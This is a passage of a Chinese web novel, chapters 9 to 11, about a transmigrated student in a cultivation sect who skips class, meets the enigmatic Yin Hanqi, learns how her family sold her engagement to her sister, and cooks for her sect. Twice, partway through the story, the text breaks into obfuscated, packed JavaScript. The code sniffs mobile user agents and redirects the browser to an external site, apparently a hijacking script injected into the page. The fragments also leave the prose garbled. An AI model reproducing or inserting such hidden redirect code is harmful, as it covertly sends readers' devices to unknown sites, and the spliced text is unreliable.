关云铮心不在焉地点点头,回到刚才那张桌边坐下。 算命先生前后说的话差别太大,就像是刚开始那会儿被人附身夺舍了一样。还有那眼睛上的翳,关云铮虽然不怎么关注人的长相,但这么明显的特征,应该在第一次见面就会注意到才对。 活像见鬼。 关云铮揉了揉眉心,暂时不想了,店小二正好凑上来问她是否要点菜,关云铮应了声问:“都有什么菜?” 虽然她暂时还不饿,但是光在人家大堂坐着怪不好意思,还是先把菜点上吧。 店小二指了指柜台上方的牌子,又口头报了几个菜名。 关云铮点了其中几个,小二得了吩咐又快步走开了。 趁着菜还没来,她正想对着虚空发会儿呆,忽然听见旁边传来一声拍桌子的动静。 别吧。 关云铮头痛地想,不会那么巧下个山就能遇到聚众斗殴吧。 “归墟几十年前还是个破落户,如何现今就能占得一山头,我不服!”旁边那桌的声音。 关云铮又在心里叹了口气,心说还好她穿的是仙盟统一给弟子发的衣服,看不出归属,不然岂不是飞来横祸。 “诶。”那人的声音忽然近了些。 关云铮:别叫我别叫我别叫我…… “看你穿着,是今年仙盟的弟子服吧,你说说,归墟到底有什么本事独占青镜山?”那人在她对面坐下了。 关云铮:救命。 9. 第 9 章 关云铮揣度着面前这人的脾气。 看着倒不是很凶,不符合她对闹事者的刻板印象,衣着也看不出路数,至少不是今年仙盟的弟子服,但看他认得弟子服,估计至少也跟仙盟沾点边。 别的门派?还是普通人? 关云铮掂量了一会儿,回答道:“我对归墟,不甚了解。” 实话,她满打满算才穿过来——她在心里掰了掰指头——五天,对归墟确实不甚了解,要不是对面这位仁兄提及,她甚至不知道归墟所在的这座仙山叫青镜山。 对面这位倒是不怎么在意她的回答似的,拍了把大腿又说:“藏那么深,连你这样在那上学的都不了解。” 关云铮很想笑,但又觉得对面好像真的在生气,艰难地忍住了。 “我听说今年归墟请的先生里有个外来的,你见过没有,什么水平?”对面仁兄问她。 关云铮:见过,感觉一拳能把你揍飞。 “见过,今年的武器先生。” 对面:“哦,用的什么武器?” 关云铮如实相告:“剑。” 对面露出不屑的神色:“我就知道仙门那群人没什么新花样,年纪轻的时候练剑,等到年纪大了就去仙盟混个仙督,天天吹胡子瞪眼。” 关云铮觉得他形容的画面还挺有乐子,但想了想还是决定打破他的刻板印象:“今年武器先生是女的。”从常规生理激素水平来说,没法吹胡子。 对面愣住了,嘴巴张合几次,最终只悻悻地“哦”了一声。 关云铮觉得他怪好玩的,但一个人也不打算和人多说,于是往柜台处看了看,希望小二能快些上菜,委婉地把这人赶回他那桌。 她本只打算随便看一眼,却和柜台前刚转过身来的女人对上了视线。 关云铮看过十几年的古装剧,第一次在现实中看到配得上“活色生香”这个词的美人。 她的站姿很懒散,但看着并不松垮,腰靠在柜台边,肘架在台面上,手里还摇着一把团扇。本以为她长的是一双睡凤眼,待她从扇子的边缘缓慢抬起眼来,才发现那是双丹凤眼,眼尾上挑之余,还有一抹红缀在眼角。 关云铮被美得有点恍惚,过了好一会儿才回神,就听见桌子对面那位“嘿嘿”笑了声。 她回过神看他,心说你嘿嘿什么,结果就听对面说:“你也觉得我们殷掌司漂亮吧?” 冒犯了,原来你们是自己人。 关云铮点点头,刚想说点什么,就感觉一股很柔和的香气飘进了自己的鼻腔里,一扭头,那位大概是姓殷的美人已经朝她走了过来,看了对面那位仁兄一眼。 那位仁兄一秒钟就闪没影了。 关云铮:…… 好像又看到求生本能了。 于是美人一理衣摆,施施然地在关云铮旁边坐下来了。 吃饭的桌子是张四方桌,刚才那位坐的是对面,这位美人坐下的却是侧边,按说互不妨碍,关云铮想了想,可能是美人单纯觉得那位仁兄有点碍眼。 关云铮思索了一秒要不要先打招呼,美人已经先开了口:“我叫殷含绮,要不要猜猜是哪几个字?” 好新颖的打招呼方式,像是笃定了关云铮会接她的话。 不过跟美女姐姐聊几句也不会怎么样,关云铮想了想说:“殷实的殷,包含的含,绮丽的绮?” 殷含绮笑起来:“说了好多同音字呀,不过我猜你说对了。” 呜呜,笑起来更好看了。 关云铮一边在心里默默流泪,一边说:“我叫关云铮。” 殷含绮笑着,声音温温柔柔的:“哪个字呢?” “铁骨铮铮的铮。” 殷含绮点点头,看起来真心实意地说:“好名字。” 关云铮:我也觉得。 本以为两人之间很快就要陷入冷场,因为关云铮很清楚自己的德性,见到美女反而会斟酌起用词造句,生怕有哪句话唐突了。 刚开始见到连映的时候其实也有这样的心路历程,只不过连映对她的态度太过自然也太过体贴了,所以逐渐她也变得没那么不自在了。 虽然还是没有以前在二十一世纪话多就是了。 两人之间的沉默几乎只有短短的一瞬,殷含绮不动声色地凑近一些,团扇后的那双眼睛朝她略带俏皮地眨了眨:“我知道你哦,你是归墟的吧。” 说完后她又在关云铮旁边轻轻嗅闻了一下:“而且你身上……”她欲言又止,似乎是有些困惑自己的发现,却没有再说下去了。 关云铮一头雾水:?怎么忽然就被揭老底了?还有,她身上怎么了? 殷含绮其实没有凑近多少距离,说完话又退了回去,继续轻声说道:“刚才我去问了问店小二,他说闻家小公子带着你来的,那应该你就是他的小师妹了。” 关云铮从一头雾水丝滑过渡到一头怒火:哦原来是认识师兄,那没事了。不过师兄到底是有多有钱啊,她真的要跟这个师门拼命了! 殷含绮掩嘴打了个哈欠:“今天本来就是路过,听见旁边这呆子的声音进来看看,”她打完哈欠,眼睛泛起一层粼粼的水光,“他没看出你是归墟的吧?” 关云铮摇摇头。 殷含绮用那双水光潋滟的眼睛看了她一会儿,看得关云铮都有点不好意思了,才有了动作——她伸出手来,捏了一下关云铮的脸。 关云铮:? 殷含绮笑眯眯的:“真可爱,下次见啦。”说完就起身往外走了。 关云铮还处在被人捏脸的茫然里,就听见旁边桌子那位仁兄“哎呦”一声。 她扭头去看,发现这位不知被什么风撂倒了,正坐在地上叫苦,但过不了一会儿又爬起来,快步跑出去了。 懂了,殷含绮刮的风。 关云铮点的菜上得晚了一些,并没有起到委婉逐客的作用,但小二把菜端上来的时候闻越正好踏进门来,踩点之准让她怀疑是客栈提前通风报信的程度。 闻越在桌边坐下,看了眼桌上的菜色,原本不怎么高兴的脸上出现了一点笑影。 像这种从家里回来还不怎么高兴的……关云铮觉得自己还是不要贸然开口问为好。 闻越拿起筷子,停了一会儿又伸手招呼来小二,要了一坛桂花酒。 “师兄是要借酒浇愁吗?”关云铮想了想还是问道。毕竟本来就是逃学,要是回去了酒味还没散,会被师姐骂得很惨吧。 虽然师姐还没骂过她,但看闻越和师姐的相处模式,估计喝酒被发现的下场比较惨。 闻越吃了块排骨:“倒不是很愁。” ?你纯粹想喝酒是吧? 闻越又咬了口丸子:“家里那点破事儿早习惯了,没什么可愁的。” 关云铮心说古代原生家庭问题吗,我思考一下怎么回答。 结果就听见闻越叹了口气后说道:“每次回家我哥都催我下山继承家业。” ……刚才我在想什么?安慰他吗?那谁来安慰一下我这个穷人? 关云铮愤愤地夹了个丸子,怒而咬了一半,被劲道的口感和鲜香的滋味治愈了,几秒炫完了。 “我又不是傻子,能坐等着花钱干嘛要每天去动脑筋。”闻越的酒来了,他放下筷子把酒封起开,给自己倒了一碗。 我都跟有钱人的思维一样了,怎么我还没变成有钱人,他这说的都是我的词啊。关云铮又悄悄地碎了。 闻越吃了一会儿也吐槽了一会儿,终于开心了,结果一扭头发现自己小师妹正一边闷闷不乐一边大快朵颐。 “云崽?”怎么觉得师妹好像魂不附体了。 关云铮回过神:“怎么了师hiong。” 不好意思嘴巴里在嚼东西,不是故意说思密达语的。 “刚才有什么人来过吗?”闻越给关云铮夹了一筷子炒蛋。 关云铮谨慎地夹起来吃了,发现有滋有味,乐起来了:“有,俩。” 闻越本来只是随口一问,没想到还真有人,追问道:“他们跟你说话了吗?” 关云铮叼着刚夹的丸子点点头:“跟我聊了几句。一个是叫殷含绮的姐姐,还有一个不知道名字,但他俩好像认识。” 闻越刚喝进嘴的酒突然在他嘴里给了他一拳,让他剧烈呛咳起来:“谁?殷含绮?” 关云铮继续点头继续吃。 闻越酒也不喝了,用一种非常凝重的表情看着关云铮。 还在快乐进食的关云铮若有所感地转移视线:咩? “她跟你说什么了?”闻越如临大敌。 关云铮不知所以:“就跟我互相自我介绍了一下,然后捏了一下我的脸。” “你知道她是谁吗就跟她……她捏你脸了???”闻越气红温了。 关云铮夹走最后一块排骨,快乐嚼嚼,快乐点头。 闻越一脸痛心疾首。 关云铮看过去:“师兄,我不是白菜。”你一脸自家白菜被猪拱了的表情是怎么回事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853165|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >再说了被殷含绮这种美女姐姐捏脸是自己血赚了,嘿嘿。 闻越摸摸她的头发:“下次下山保证不回家了,我看着你。” 关云铮:倒也不必? 先不说回去后她还有没有那个贼胆再次逃学下山,你特地看着我会让我觉得很不自在的,师兄。 不过闻越本来好像要说点什么?算了不管了,迟早知道。 吃过午饭后关云铮还想再逛逛,闻越一把把她拉走了:“我长这么大头一回觉得镜溪城人心险恶环境危险,我们还是回师门吧。” 关云铮看了看来往互相打招呼的行人和摆摊时笑眯眯的摊主们,茫然:哪里险恶? 说到镜溪城,关云铮忽然想起一件被自己忽略的事,抬头看闻越:“师兄,我有件事想问你。” 闻越“嗯”一声:“问吧。” “师兄知道关……我家的事吗?”关云铮差点说瓢了,紧急刹车改口后发现听起来更奇怪了。 好在闻越没怎么注意到她的口误:“知道一点。” 知道你就说啊,怎么跟挤牙膏似的我摁一下你往外秃噜一点? 关云铮无奈,继续追问:“师兄听到的都是怎样的?” 反正她是对关家的事情一无所知的,多少从知情者那里探听一点吧,省得之后遇到什么事情又得现场演,21世纪那些标榜演员的人都没她能现场发挥。 “我也是听我娘同我说的,她和你母亲原先有点交情,后来你妹妹出生后,你母亲就不怎么出门了,所以我娘听到的也只是些传言。”后面的话可能涉及到什么,闻越低头看了关云铮一眼。 关云铮若有所觉,摆摆手:“师兄无需顾及我。” 这毕竟不是她的爱恨。 不过闻越可能理解成她已经习惯了,开口之前又摸了摸她的脑袋:“听闻你母亲更偏爱妹妹一些,由着她在府里和外头乱来,但对你要严格许多,我娘还想不通,为什么同一个娘生的,她偏心这么多。” 关云铮心说你们还是见得少了,互联网发达的21世纪,这样的母亲数不胜数。 毕竟不是所有人都懂得如何做好一个母亲的。 不过她最开始以为是,原身的娘已经过世,爹娶了个小老婆,二小姐是小老婆生的,这样或许更符合古代的剧本。 结果没想到是亲娘。 也是,继母毕竟算陌生人,人并不会对陌生人产生太多的感情期待,但亲生母亲的举动却会真正地让人失望。 可能是得到过母爱又失去这一点摧毁了原身,又或者还有什么别的,还需要她慢慢探究。 关云铮想到这,回过神来的时候发觉自己有点冷血。 其实她对这具身体的归属感并不强烈,如果可以的话,她也不是不能接受回到21世纪猝死的命运,毕竟如果她足够爱惜生命,也不会把自己熬到那种地步。 不知天高地厚的人总归是要付出一点代价的。 她总觉得自己的灵魂并没有多么高尚,并不值得被召唤到另一个世界,借别人的身体续上一世性命,也因此,她始终对于占据了原身的躯壳感到愧疚。 这种愧疚让她无法产生对这具身体,这个世界的归属感和认同感,直到现在,她听了原身的遭遇依旧觉得非常抽离。 闻越叹了口气,继续说道:“关家后来家道中落,你也快及笄了,你母亲就给你说了一门亲事。” 关云铮回过神来:那为什么她醒来时会在仙山上参加择选? “那门亲事,我没记错的话应该是和季家小儿子,只不过刚定下亲事没多久,你家就把你送上了仙山。” 都要结婚了还送原身上山?修仙之人一两年内不能下山,原身她娘难道不知道? 关云铮忽然想到什么,抬头看向闻越:“像我这样被家里送上山的弟子,一旦被选中,仙盟是否会给予抚恤?” 闻越没说话,只是看了她一会儿。 果然。 关云铮在这一瞬间有点想要冷笑,但还是忍住了,追问了一句:“婚约呢?取消了吗?” 闻越点了点头:“方才回家的时候,我娘说,改成了和你妹妹成亲。” 好,好得很。 果然不管什么世道都会吃人,尤其是吃女人。 关云铮默不作声地深呼吸了几下:“师兄我们走快点吧。” 闻越还以为她会难受一会儿,闻言问道:“怎么了?” 关云铮健步如飞:“我急着回去练剑。” 10. 第 10 章 关云铮一边快步往来时路走,一边思考待会儿回师门了会不会挨批,思考间想到什么,扭头看向身后的闻越:“师兄。” 一张小脸非常严肃。 闻越下意识:“怎么了?” 关云铮:“所以我们逃学下山也就吃了两顿饭而已,就要回去了吗?” 闻越:“。”好像确实。 关云铮瘪了瘪嘴。 闻越赶紧哄人:“这会儿山下是秋天,没什么好玩儿的,以后春夏下来玩,带你摘莲子吃。” 关云铮嘴角乱七八糟上扬:“好耶。” 闻越:“好耶?” 关云铮点头。 闻越跟着点头:“好耶。” 不耶了。 怎么感觉回去的路比来的时候长得多。 关云铮被愤怒操控的双腿冷却了,放慢了,停摆了。 闻越回头:“走不动了?” 关云铮点点头:“回去的路是不是比来的时候长啊?” 闻越想了想:“山外有护山大阵,会在原地打转。” ?还真的比来的时候长啊? 关云铮意识到一个离谱的事实:“所以师兄你之前每次逃学,都是哪怕回来要多走很多路,也要逃吗?” 闻越点点头。 关云铮:勇士,我服了,你真是只进油盐。 闻越抬头看了看半空:“不过平时运气比较好,总能遇上修补阵法的日子,结界会比平时薄弱。” ?像话吗? 你身上真的没有什么通风报信的buff吗?怎么有人的体质这么适合吃喝玩乐啊? 大概是关云铮眼神里的哀怨过于有存在感了,闻越又想了想:“要不我传个信,让师姐下来接我们?” 关云铮瞳孔地震了。 从未见过如此猖狂的逃学分子。 闻越想了想,似乎是觉得这个方案比较靠谱,伸出了手。 关云铮:啥意思? 她站在原地等了一会儿,没感觉周围有什么变化。她四处环视了一圈,却看见一只蓝色的蝴蝶扑棱着翅膀落在闻越指尖。 ? 看得出他是公主? 关云铮默默收回自己过于发散的思绪,等着闻越用蝴蝶传信。感觉穿越这几天遇到的事情越来越匪夷所思,她都快习惯了。 不过最匪夷所思的还是世界上真的有修仙世界,她这个四体不勤五谷不分的大学生还穿过来了。 等待师姐的过程无事可做,关云铮找着话题:“护山大阵要修补的话,会不会对门派的安全有些影响?” 闻越找了块大石头坐下,又拍拍旁边示意关云铮也坐过来:“影响自然是有,以前归墟发生过几次邪修入侵事件,后来才有的护山大阵。”闻越往空中看了一眼,“修补的日子里,阵法的威力要弱一些,不过也能起抵御作用了。” “邪修?”目前还没遇到过呢。 “这几年仙门式微,邪修也就日渐猖狂了,前些天几个仙门似乎都有学生失踪,镜溪城里估计也有邪修,只不过我们尚未发现踪迹。”闻越的表情没了以往的轻松,显得有些严肃。 “学生失踪?到现在也没找到吗?”关云铮顿时跟着紧张起来。 闻越刚想回答,扭头发现关云铮的表情非常紧张,下意识摸了一把她的脑袋:“没事,还用不着我们担心,师父这一辈的人会处理好的。” 这熟悉的语气和对话内容……果然是在把她当小孩哄啊师兄。 关云铮半是无奈半是感慨,在心里默默留了个心眼。要是以后还能逃学,不是,还能下山的话,悄悄观察一下有没有形迹可疑的人吧。 闻越估计师姐快到了,拉着关云铮起身。过了一会儿,一柄剑从远处嗖一下飞过来,调了个头,“啪”一声抽在闻越腰后。 然后师姐就从浓得化不开的雾里走了出来。 闻越兴高采烈地冲师姐招手,好像刚才自己没有被抽那一下一样。 师姐看也没看他,抬手把剑召回,走过来拉上关云铮走了。 关云铮怪不好意思的:“师姐,我不该逃学。” 连映松开她的手,停下脚步。 ?要挨批了吗? 没想到连映伸手摸了摸她的脸:“秋天山上确实没什么好吃的,去山下吃点好吃的没关系。” 啊? 可是她逃学诶。 “本来上午的课程就是褚先生让大家自行练习,下午掌门安排了休息,耽误得不多,不用担心。”连映又拉上她的手继续往前走。 那亏了,仿佛要放假提前补课,结果冲掉的那天课少,补的课多。 心痛。 关云铮意识到自己在想什么后痛心疾首地想,你完了,你染上逃学了。 大概是下午本就是休息的缘故,一路走来都没见到多少人,关云铮虽然没被师姐批评,但越走越心虚,有种回到屋子里会有三堂会审等着她的错觉。 “想不想去看看后山的菜地?”连映冷不丁来了这么一句。 关云铮还在琢磨待会儿怎么认错才能显得自己诚恳,骤然听到这么一句就像打红名怪时对方零帧起手一样躲闪不及,只能发出一个无能的单音节:“啊?” 连映笑眯眯的:“看看晚上想吃什么菜。” 闻越在她们身后抗议:“师姐怎么都不问我?” 换来师姐一句“你闭嘴”。 不是错觉,师姐对逃学的师兄真的很凶。好吧,不逃学其实也挺凶的。 关云铮一边乖乖跟着师姐往菜地走,一边问道:“都有些什么菜?” 连映倒是很坦诚:“师父闲暇时种的,我也认不全。” ?师父种的? 过去到底发生了什么,让曾经上街见人就撒金叶子的大少爷都开始种地了? 家道中落这一点大概是可以排除的,因为今天闻越说到师父有钱的时候,感觉这个状态还是现在进行时,不太可能是因为家中遭逢巨变;至于别的原因……那应该就只有心境的变化了? 那是在上山之前还是之后啊,如果是之后的话……那山上好可怕。 关云铮在心里抖了抖,继续跟着连映走了。 连映边走边问她:“今天吃什么好吃的了?” 啊,啊,这是可以说的吗? 关云铮回头看了闻越一眼,闻越不明所以地朝她眨眨眼,被凶了的人看着比她还开朗。 “吃了鲜云吞和炸云吞,冬菇猪肉馅儿的,还有点马蹄。”关云铮回想起云吞的味道,悄悄咽了咽口水。 连映点点头:“闻越给我带上来吃过,还吃了什么好吃的?” 咦,原来习惯性带云吞是要给师姐的吗?那今天的被她给连翘吃掉了诶。 那下次下山多给师姐带点,不对,不该有下次了。不能仗着这次师姐没有批评就得寸进尺,逃学本来就是不应该的。 关云铮在心里谴责完自己,继续回答起连映刚才的问题。 说话间三人终于走到了章存舒的菜地。 关云铮:嚯,这么多菜。 那边藤上还长着丝瓜和黄瓜,底下叶子堆叠,缝隙里卧了几个冬瓜和南瓜;这边叶子上挂着辣椒和茄子,架子上豆角低垂…… 不过山下不是都秋天了吗,怎么还有黄瓜? 她是这么想的,也就顺势这么问出来了。 “因为山上的气候是恒定的。”连映低头看了看地上爬着的红薯藤,“上一任掌门考虑到弟子们日常修炼时的体感以及穿衣问题,将青镜山上的气候人为调节成了四季如春的样子。” 喔,这么厉害的。关云铮点点头,又想到一个问题:“那刚才我和师兄下山,按理来说会觉得有些凉?” 毕竟穿着春天的衣服一下子到秋天,多少会有点凉意吧。 连映笑着说:“山上派发给弟子们的衣服里都有咒文,也是差不多的作用。” 关云铮这下是真的有点惊讶了,没见过这么贴心的啊。又是按照弟子的体重来分发趁手的武器,又是考虑到天气变化不利于修炼,给弟子们创造舒适的环境。你要说他们只是为了让弟子一直修炼压榨弟子,他们甚至三四天就安排了半天休息。 21世纪被压迫习惯的学生关云铮震惊了。 “所有的仙门都会这样吗?”关云铮喃喃。 连映听清了:“好像不是?据我所知,有些家大业大的仙门也没有给弟子们的衣服内附上咒文。” 关云铮眨眨眼:“那他们钱花哪儿去了?” 闻越坐在一边的矮墙上晃悠着双腿:“那就只有他们门派里的长老和仙盟那些人知道咯。” 懂了。 难怪今天那个胖子说归墟是个破落户,有钱都花人身上了,外人当然看不出名堂。 连映想了想,又补充道:“不过最高峰处的气候,是脱离法术掌控的。” 最高峰? 关云铮抬起头来向那个方向看了一眼,乍一看跟这几个山头没什么区别,云山雾罩的。 “那里特别冷吗?” 闻越点点头,又向着连映说:“师姐,剑冢不也不太一样吗?” 连映回头看了他一眼:“剑冢里的力量积蓄太多,术法控制不了。” 那最高峰也是因为力量太强所以不受控吗?关云铮若有所思。 话说之前借她灵气的不熄鼎在门派的什么位置?会是这两个位置其中之一吗? 连映伸手招呼闻越来挑选晚上要吃的菜,看见关云铮站在那看着最高峰的方向没动,问她:“云崽,在想什么?” 关云铮回过神,跟着蹲下身,把成熟的瓜果蔬菜从藤蔓枝叶上摘下来:“不熄鼎,是不是在最高峰上?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853166|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师姐点点头:“怎么了?” 关云铮实话实说:“在想以后去找它道谢的时候穿什么衣服才保暖。” 连映似乎是没料到她会这么说,愣了一下后笑出声来。 最后从菜地里摘的菜是闻越一个人抱回去的。 关云铮本想给他分担一点,却被连映阻拦了:“谁让他把你拐下山,他应得的。” 好、好鲜活的语气。 不过——关云铮问道:“师姐不怪我不学好吗?” 连映皱了皱眉:“有谁这样说过你吗?” 关云铮一愣,一时之间不知道怎么回答。 在还没穿越过来之前,她是个很普通的大学生,有过在小地方上中学所以成绩好的辉煌过去,也有因为始终学不会专业课的窘迫现在,和医疗行业灰暗看不到头的未来。 她不是道德高尚的人,小时候道德感薄弱的时候也做过很多不好的事,现在回想起来都会觉得很愧疚,很丢人。 她初中时有过一个“混混”同学,老师们都不喜欢她,但她一直觉得那个女生很有趣,也很想跟她做朋友。 但她不用过多思考就能知道,要是自己跟那个女生交朋友,家长会怎么说她。 “好的不学学坏的。” 好像成绩差就是十恶不赦一样。 成绩差的人,也可能是她这样永远努力不对方向的人。 考前自己押重点,全都完美错过,名词解释填空甚至大题,她总是有心无力。 她甚至觉得自己就是没有学医这方面的天赋,她也做不到把自己往死里逼那么努力,她只是个很想得过且过的普通人,被学院里又聪明又努力的人卷得心率失调,手脚麻木,出现一系列焦虑的躯体化表现。 她不喜欢学医,但从没对家长说过。 她很少认真听课,要么看小说要么打游戏。 这些她的家长都不知道,因为如果她们知道了,她得到的也无非就是那句—— “好的不学学坏的。” 关云铮来到这个世界这些天,一直处于一种无法融入的麻木之中,甚至直到刚才,她也依旧觉得自己不过是在替代原身的灵魂经历一段故事,直到此刻。 她感到自己眼眶发烫,仓皇地抬起头来。 连映好像没察觉到她的情绪变化,伸手摸了摸她的脑袋:“只是因为馋嘴下山偷玩了一上午,有什么学不学坏的,就算是师父现在也还是偶尔会犯馋呢。” 本来还有点想哭,差点因为连映卖师父这句话笑了。关云铮强行压了压自己要翘起来的嘴角。 “闻越虽然老逃学,但也只是因为贪玩,并不是多大的问题。”连映继续说道。 闻越欠嗖嗖地从前面艰难地转过头:“真的?” 连映笑眯眯:“假的,抱你的菜。” 关云铮坐在竹椅上择菜。 闻越决定去摸几个鸡蛋,不在院子里。 连映坐在关云铮旁边把她择好的菜洗干净。 “师姐,炒菜的锅大不?”关云铮把红薯藤的叶子摘了个七七八八,把嫩的茎秆交给连映。 连映接过:“不算大,一般就师门几个人吃,怎么了?” 关云铮心说之前以为菜难吃是菜的问题,今天看了菜后我觉得是厨子的问题。 但这话是不能说出来的,毕竟吃饭的人没资格骂厨子,于是她换了个说法:“我想试试炒几个菜。” 她没能等到连映的回答,章存舒的声音先响起来了:“那敢情好。” 关云铮被吓得差点一头扎水盆里。 为什么她师父总是这么神出鬼没的跟个背后灵一样? 她机械地转过身:“师父。” 章存舒笑眯眯:“去哪玩儿了?” 关云铮老实道:“去山下吃了两顿饭。” 章存舒又在石阶上坐下了:“好吃吧?” 关云铮点点头。 章存舒忽然叹了口气:“我也想吃这么好吃的菜。” 那咋的,我现在下山给您去买? “所以就麻烦云崽给我们炒菜了。”章存舒继续说道。 不是,师父,这两句话之间有什么我不知道的因果联系吗? 你都没尝过,你就敢假定我炒的菜好吃?你胆子可真大啊。 “不过你跟着师兄下山没跟人说,褚先生很担心你的安危,嘱咐我你回来了一定跟他说声。”章存舒托着下巴看两个徒弟择菜洗菜。 关云铮:汗流浃背了,这是真愧疚。 “既然你还打算炒几个菜,我这就去把褚先生叫来一起用饭,记得多做点。”说完这句话章存舒就踩着屋瓦走了,关云铮抬头时就看见一片飘飞的衣摆。 本来可以随便炒一下的事情,现在变得生死攸关了呢。关云铮悲凉地想。 关云铮点点头。 11. 第 11 章 闻越摸完鸡蛋回来的时候,关云铮正站在锅灶前清点调味料。 油,有了,闻一下——闻不出来,不知道什么油,反正能用;盐,喔,是那种很粗糙的盐,找个时间精炼一下,她应该还记得提纯氯化钠的步骤,就是得制作出等效的道具;酱油——额古代应该没有这东西,下一位;味精——算了这玩意儿更没可能了。 关云铮回过神来,对着只剩油盐糖的调料陷入沉思——就这还需要清点? 她刚才一定是脑子出问题了。 闻越放下几枚鸡蛋,从关云铮身后探出脑袋:“云崽——” 关云铮应了声,没回头。 闻越凑近了看她:“怎么愁眉苦脸的?” 可恶,穿越到古代也没学会表情管理。 关云铮叹了口气,决定放弃思考,开始行动。反正要炒的都是蔬菜,只用油盐也差不多了,最多差点鲜味儿。 “师兄,会烧火吗?”关云铮看向在旁边晃悠的闻越。 闻越想了一下:“我可以会。” 关云铮:?你说话怎么跟21世纪的应届生一样? “那你帮我烧个火,我不太可以。”算了,无人可用的时候应届生已经是最优选了。 关云铮说完,转身到砧板前开始切菜。 刀具和砧板可能刚洗过,厨子估计是习惯性地把刀尾扎进砧板放着晾水,关云铮上手拔了一下——没拔动。 有点崩溃了,她刚才怎么敢提出自己来炒菜的想法? 趁闻越还在灶台后捣鼓生火,关云铮无声地深吸了一口气,右手先抓握几次,随后握住刀柄,向上猛地一使劲——拔出来了。 就是差点被后坐力怼摔倒,还好心里有准备,扶着灶台边缘站稳了。 刀倒是不沉,不知道厨子用了多大的劲儿才能扎得那么深,关云铮看了看砧板上那个快被扎得透光的刀口,觉得师门的厨子可能也不是什么一般人。 菜切一半,连映捧来几个碟子放下,又去灶台后看了眼。 那一眼有点漫长,连映和闻越都一言不发。 关云铮若有所感地放下刀,探头—— 只见灶口堆了几根异常粗的木柴,一点微弱的火光在最顶上那根木柴上方闪了闪,熄灭了。 关云铮:…… 估计连映也没想到他能捯饬这半天也没弄好,三人就这样无言地站了一会儿。 关云铮感觉她师姐开口的语气都有点可怕了:“闻越。” 没被点到名但莫名害怕,关云铮往后退了一步。 被点到名的人抖了一下,求生欲拉满似的光速施了一个法术出来。 一声木柴互相摩擦似的轻响,关云铮在闻越面对灶口的眼睛里看到了一簇亮起来的火光。 所以最后还是靠魔法,哦不,术法解决。 菜端上桌的时候关云铮感觉自己学不会引气入体也没那么可怕了。 她甚至能驯服这口锅和这柄锅铲,引气入体算什么。甚至要是以后一直学不会的话,她当个厨子也不是不行。 褚先生早就被章存舒请来了,两人坐在桌边聊天,看关云铮端菜过来,褚先生才看向她问道:“下山这半日,体验如何?” 关云铮累得想要灵魂出窍,下意识想回一句“好玩爱玩”,仅存的一点理智让她悬崖勒马,改口道:“山下确有美味,但逃学下山实属不该。” 一听就不是真心话,褚先生被逗得哈哈大笑:“下次我也下山尝尝。” 关云铮:?什么家庭啊,孩子逃学还跟着一块儿的。 每个人都不怪她是挺好的,但是闻越可是被师姐拿剑抽了一下的——总不能是因为闻越是惯犯吧? 她是初犯所以就既往不咎了? 。怪害怕的。 褚先生笑完了,脸上神色倒还是和蔼的,示意关云铮坐下,同她说道:“修炼本就并非一日之功,觉得累想休息都是人之常情,只是不可像今日,不打声招呼就下山,惹得我们担心。” 呜,先生不怪她逃学下山,先生只担心她安全,先生好。 关云铮乖乖点头:“弟子记住了。” 闻越烧个火险些把自己搞得灰头土脸,被连映抓去洗手,现在才回来,在桌边坐下。 桌上蔬菜为主,青翠的南瓜藤,嫩绿的丝瓜间浮着金黄的鸡蛋,黄瓜拍碎后淋了些调料,冬瓜切成薄片,上面点缀了一些葱花,只有一道—— 章存舒指了指:“这是什么?” “是茄子。” 连映凑近了些:“这茄子……?” 关云铮没想到自己还能有吃以致用的一天:“先把茄子切段,然后蒸熟,下锅翻炒的过程中用锅铲压碎,卖相不怎么样,但味道应该还可以。” 毕竟是她吃过看过很多年的一道菜了,应该不会做难吃。 章存舒听得眉开眼笑的:“先生先尝尝?” 褚先生点点头,先夹了一筷子茄子。 关云铮期待地看着。 褚先生品味了一会儿:“口感比往日里吃的茄子要绵柔许多,味道也不错,云铮从哪里习得的手艺?” 关云铮差点脱口来句我妈那,默不作声捏了下自己的手心后说道:“从前在家时爱看他人做菜,摸索着学会的。” 大学期间可没少在寝室用个小锅偷偷“摸索”,老顶风作案人了。 褚先生先动筷,其他人也陆续拿起筷子夹菜品尝起来。 闻越吃了一口黄瓜,扭头问关云铮:“这是什么做法?” “拍黄瓜,把黄瓜拍碎后切块,然后淋了些调料。”原本调料只有油盐糖,但刚才要做拍黄瓜的时候被她在犄角旮旯翻出来一小碗醋,估计能好吃一点。 闻越又吃一口黄瓜:“云崽好有做菜的天赋哦。” 关云铮点点头,心说我也觉得哦。 晚饭过后,褚先生自行回去了,师门四个在关云铮的小院里或坐或站地聊天。 闻越不知道从哪儿搬来另一把竹椅,硬是塞给章存舒坐了。 关云铮:拉满了,师兄的心虚拉满了。 章存舒忽然叹了口气:“这么好吃的饭菜,阿却他却没有吃到。” 连映平静道:“不要说得阿却好像死了一样,他只是在闭关。” ?大师兄的命也是命。 “大师兄闭关要到什么时候?”还没见过,怪好奇的。 章存舒抬头看了眼天:“应该快了。” 关云铮一头雾水跟着看了眼天,只觉得夜晚的云看起来好黑。 “大师兄修炼到什么境界了啊?”关云铮悄悄问一边的连映。 “闭关之前是金丹中期,我看他想突破一层境界。”连映为她解答道。 喔,那不就,元婴了吗? 。 好强。 话说师父是什么境界,好想知道。 